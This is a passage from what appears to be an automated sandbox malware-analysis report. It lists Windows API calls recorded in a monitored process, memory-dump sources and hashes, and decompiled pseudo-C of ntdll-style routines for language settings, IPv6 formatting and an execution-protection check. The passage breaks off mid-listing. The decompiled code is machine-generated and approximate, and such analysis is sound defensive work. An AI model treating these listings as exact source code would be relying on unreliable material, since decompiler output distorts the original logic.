CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00098584

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 119fa6c288c5444f4f703ee2413d1754985441375ee1e018d3993cdfaaab9937
Instruction ID: 9ce0de743c0a5200b1dcc6f7fdc4054a8bfd50b7e5e0595bee89ce3a812d8eb3
Opcode Fuzzy Hash: 119fa6c288c5444f4f703ee2413d1754985441375ee1e018d3993cdfaaab9937
Instruction Fuzzy Hash: E2F017B2204409ABDB08CF98D890CE777AAEF9C700B618688FA4C87106D631E855CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00098480, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00093506,?,00093C7F,00093C7F,?,00093506,?,?,?,?,?,00000000,00000000,?), ref: 000984AD

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: fbdf59b571a901eefcdfcf86bfa9680329d111587b15b1f5142f710709a765f9
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 02E012B1200208ABDB14EF99CC41EE777ACAF88650F118558BA089B382CA30F9108BF0

Uniqueness

Uniqueness Score: -1.00%

Function 00098620, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0008CF92,0008CF92,?,00000000,?,?), ref: 00098650

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 41ec7ab19a1a1cfe3868940f58b4777f3bcdd06e05e8724f7211c0fc3ae12589
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 25E01AB12002086BDB10DF49CC85EE737ADAF89650F018154BA0857342C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0008D3F8, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00087C63,?), ref: 0008D42B

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 63aa4ee372e8d54d63c0e2436a5c9361a7a78862cddc019a377d774ac8102fc4
Instruction ID: 072aa6916b32993d9a7f785b33f4fd3596adf85954512d64933c688425f06a7f
Opcode Fuzzy Hash: 63aa4ee372e8d54d63c0e2436a5c9361a7a78862cddc019a377d774ac8102fc4
Instruction Fuzzy Hash: 74D02EE12AC3003EEB20BAB05C03B472B082B02350F0A41A9F488FB0C3CA48C1166232

Uniqueness

Uniqueness Score: -1.00%

Function 0008D400, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00087C63,?), ref: 0008D42B

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: c1cfe86d0508fd5e1fbc3651e45fb5d487ddecafc616ea5c1bf8ba266a155821
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: E9D0A7717903043BEA10FAA49C03F6733CDAB44B00F494064F948D73C3D960F9004561

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01FD8788, Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01FD8788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E01FD8460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E01FBE025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E01FD718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E01FD8460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E01FD718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E01FD8460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E01FD8460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E01FD8460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E01FD718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E01FBE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E01FB2340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E01FCE679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E01FBE2A8(_t322,  &_v68, _v16);
								if(E01FD5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E01FCE679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E01FBE2A8(_t322,  &_v68, _t236);
								if(E01FD5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E01FD718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E01FBE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E01FB2340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E01FCE679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E01FBE2A8(_v12,  &_v68, _v16);
							if(E01FD5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E01FCE679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E01FBE2A8(_t322,  &_v68, _t269);
							if(E01FD5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E01FD718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E01FBE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E01FB2340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E01FCE679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E01FBE2A8(_v12,  &_v68, _v16);
						if(E01FD5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E01FCE679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E01FBE2A8(_t322,  &_v68, _t296);
						if(E01FD5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E01FBE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x01fd8788
0x01fd8788
0x01fd8791
0x01fd8794
0x01fd8798
0x01fd879b
0x01fd879e
0x01fd87a1
0x01fd87a4
0x01fd87a7
0x01fd87aa
0x01fd87af
0x02021ad3
0x01fd8b0a
0x01fd8b0d
0x01fd8b13
0x01fd8b19
0x01fd8b1f
0x01fd8b25
0x01fd8b2b
0x01fd8b31
0x01fd8b37
0x01fd8b3d
0x01fd8b46
0x01fd8b46
0x01fd87c6
0x01fd87d0
0x02021ae0
0x02021ae6
0x02021af8
0x02021af8
0x02021afd
0x02021afe
0x02021b01
0x02021b06
0x02021b06
0x01fd87d6
0x01fd87f2
0x01fd87f7
0x01fd8807
0x01fd880a
0x01fd880f
0x01fd8810
0x01fd8813
0x01fd8818
0x01fd8818
0x01fd882c
0x01fd8831
0x01fd8838
0x01fd8908
0x01fd8920
0x01fd89f0
0x01fd8a08
0x01fd8af6
0x01fd8af6
0x01fd8af8
0x01fd8afb
0x02021beb
0x02021beb
0x01fd8b04
0x02021bf8
0x02021c0e
0x02021c13
0x02021c16
0x02021c16
0x02021bf8
0x00000000
0x01fd8b04
0x01fd8a0e
0x01fd8a11
0x01fd8a14
0x01fd8a15
0x01fd8a18
0x01fd8a22
0x01fd8b59
0x01fd8a28
0x01fd8a3c
0x01fd8a3c
0x01fd8a42
0x02021bb0
0x02021b11
0x02021b11
0x00000000
0x01fd8a48
0x01fd8a51
0x01fd8a5b
0x01fd8a5e
0x01fd8a61
0x01fd8a69
0x01fd8a69
0x01fd8a6d
0x00000000
0x00000000
0x01fd8a74
0x01fd8a7c
0x01fd8a7d
0x01fd8a91
0x01fd8a93
0x01fd8a93
0x01fd8a98
0x01fd8a9b
0x01fd8aa1
0x01fd8aa1
0x01fd8aa4
0x01fd8aaa
0x01fd8ab1
0x01fd8ac5
0x01fd8ac7
0x01fd8ac7
0x01fd8ac5
0x01fd8ace
0x02021bc9
0x02021bce
0x02021bd2
0x02021bd2
0x01fd8ad8
0x01fd8aeb
0x01fd8aeb
0x01fd8af0
0x01fd8af4
0x00000000
0x01fd8af4
0x01fd8a42
0x01fd8926
0x01fd8929
0x01fd892c
0x01fd892d
0x01fd8930
0x01fd8935
0x01fd893a
0x01fd8b51
0x01fd8940
0x01fd8954
0x01fd8954
0x01fd895a
0x02021b63
0x00000000
0x01fd8960
0x01fd8969
0x01fd8973
0x01fd8976
0x01fd8979
0x01fd897e
0x01fd8981
0x01fd8981
0x01fd8986
0x00000000
0x00000000
0x02021b6e
0x02021b74
0x02021b7b
0x02021b8f
0x02021b91
0x02021b91
0x02021b99
0x02021b9c
0x02021ba2
0x02021ba2
0x01fd898c
0x01fd8992
0x01fd8999
0x01fd89ad
0x02021ba8
0x02021ba8
0x01fd89ad
0x01fd89b6
0x01fd89c8
0x01fd89cd
0x01fd89d0
0x01fd89d0
0x01fd89d6
0x01fd89e8
0x01fd89e8
0x01fd89ed
0x00000000
0x01fd89ed
0x01fd895a
0x01fd883e
0x01fd8841
0x01fd8844
0x01fd8845
0x01fd8848
0x01fd884d
0x01fd8852
0x01fd8b49
0x01fd8858
0x01fd886c
0x01fd886c
0x01fd8872
0x02021b0e
0x00000000
0x01fd8878
0x01fd8881
0x01fd888b
0x01fd888e
0x01fd8891
0x01fd8896
0x01fd8899
0x01fd8899
0x01fd889e
0x00000000
0x00000000
0x02021b21
0x02021b27
0x02021b2e
0x02021b42
0x02021b44
0x02021b44
0x02021b4c
0x02021b4f
0x02021b55
0x02021b55
0x01fd88a4
0x01fd88aa
0x01fd88b1
0x01fd88c5
0x02021b5b
0x02021b5b
0x01fd88c5
0x01fd88ce
0x01fd88e0
0x01fd88e5
0x01fd88e8
0x01fd88e8
0x01fd88ee
0x01fd8900
0x01fd8900
0x01fd8905
0x00000000
0x01fd8905

APIs

_wcspbrk.LIBCMT ref: 01FD8891
_wcspbrk.LIBCMT ref: 01FD8979
_wcspbrk.LIBCMT ref: 01FD8A61
_wcspbrk.LIBCMT ref: 01FD8A9B
_wcspbrk.LIBCMT ref: 02021B9C

Strings

Kernel-MUI-Language-SKU, xrefs: 01FD89FC
Kernel-MUI-Number-Allowed, xrefs: 01FD87E6
Kernel-MUI-Language-Allowed, xrefs: 01FD8827
Kernel-MUI-Language-Disallowed, xrefs: 01FD8914
WindowsExcludedProcs, xrefs: 01FD87C1

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 837a9be0241a37cca1f6d1cadd6fbb0c0f67f54069747b41821ccd76a26f0bc1
Instruction ID: 44ef5a3c082692c4fe884783eebf38a7af6bc1e1950301f7ee0c59b199212642
Opcode Fuzzy Hash: 837a9be0241a37cca1f6d1cadd6fbb0c0f67f54069747b41821ccd76a26f0bc1
Instruction Fuzzy Hash: 51F107B2D0020AEFCF11EF99CD809EEBBB9FF18344F14446AE505A7211E7369A45DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01FF13CB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E01FF13CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E01FE7707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x1fb2926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E01FE7707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x1fb9cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E01FE7707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E01FE7707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E01FE7707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E01FE7707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x01ff13d5
0x01ff13d9
0x01ff13dc
0x01ff13de
0x01ff13e1
0x01ff13e8
0x01ff13ee
0x0201e8fd
0x00000000
0x0201e921
0x0201e921
0x0201e928
0x0201e982
0x0201e98a
0x00000000
0x0201e99a
0x0201e99e
0x0201e9a3
0x0201e9a8
0x0201e9b9
0x0201e978
0x00000000
0x0201e978
0x0201e98a
0x0201e92a
0x0201e931
0x0201e944
0x0201e944
0x0201e950
0x0201e954
0x0201e959
0x0201e95e
0x0201e963
0x0201e970
0x00000000
0x0201e975
0x0201e93b
0x0201e980
0x00000000
0x0201e980
0x0201e942
0x0201e94b
0x00000000
0x0201e94b
0x00000000
0x0201e942
0x01ff13f4
0x01ff13f4
0x01ff13f9
0x01ff13fc
0x01ff13ff
0x01ff1406
0x0201e9cc
0x0201e9d2
0x0201e9d2
0x0201e9cc
0x01ff140c
0x01ff1411
0x01ff1431
0x01ff143a
0x01ff143c
0x01ff143f
0x01ff143f
0x01ff1442
0x01ff1447
0x01ff14a8
0x01ff14ac
0x0201e9e2
0x0201e9e7
0x0201e9ec
0x0201ea05
0x0201ea05
0x00000000
0x01ff1449
0x00000000
0x01ff1449
0x01ff144c
0x01ff1459
0x01ff1462
0x01ff1469
0x01ff146a
0x01ff1470
0x01ff1473
0x01ff1476
0x01ff1476
0x01ff1490
0x01ff1495
0x01ff138e
0x01ff1390
0x01ff1397
0x01ff1398
0x01ff1399
0x01ff13a1
0x01ff13a4
0x01ff13a4
0x01ff1498
0x01ff149c
0x01ff149f
0x01ff14a2
0x00000000
0x00000000
0x01ff14a4
0x00000000
0x01ff14a4
0x01ff1413
0x01ff1415
0x01ff1416
0x01ff1419
0x01ff141c
0x01ff1422
0x01ff13b7
0x01ff13bc
0x01ff13bf
0x01ff13bf
0x01ff13c2
0x01ff1424
0x01ff1424
0x01ff1424
0x01ff1427
0x01ff142b
0x01ff142c
0x01ff142c
0x01ff142c
0x00000000
0x01ff141c
0x01ff1411

APIs

___swprintf_l.LIBCMT ref: 01FF146B
___swprintf_l.LIBCMT ref: 01FF1490
___swprintf_l.LIBCMT ref: 0201E970

Strings

::%hs%u.%u.%u.%u, xrefs: 0201E967
:%u.%u.%u.%u, xrefs: 0201E9F4
ffff:, xrefs: 0201E94B
::ffff:0:%u.%u.%u.%u, xrefs: 0201E9B0

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: e58fe87dc3f67bbd982070917a26090d18608cda9f874837734ebd159fa4b261
Instruction ID: 412bade55aa07a966bf53654c7525adb0abed131cebebd4fbe6c6c106ccad303
Opcode Fuzzy Hash: e58fe87dc3f67bbd982070917a26090d18608cda9f874837734ebd159fa4b261
Instruction Fuzzy Hash: FD6145B1D04656EACB25DF5EC8908BEBBF5EFD5300B14C12DEAD647650D3B2A640CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01FE7EFD, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E01FE7EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0x2092088; // 0x77762b81
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E01FE7F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E02003F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E01FBDFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0x2094218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E02003F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E01FC0D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E02003F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E01FC8375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E02003F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E0202E8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E02003F92();
					_t38 = 1;
					L2:
					return E01FBE1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x01fe7f08
0x01fe7f0f
0x01fe7f12
0x01fe7f1b
0x01fe7f31
0x02003ead
0x02003eb4
0x00000000
0x00000000
0x02003eba
0x02003ecd
0x02003ed2
0x02003ee1
0x02003ee7
0x02003eec
0x02003f12
0x02003f18
0x02003f1a
0x00000000
0x00000000
0x02003f20
0x02003f26
0x02003f28
0x00000000
0x00000000
0x02003f2e
0x02003f30
0x00000000
0x00000000
0x02003f3a
0x02003f3b
0x02003f53
0x02003f64
0x02003f69
0x02003f6c
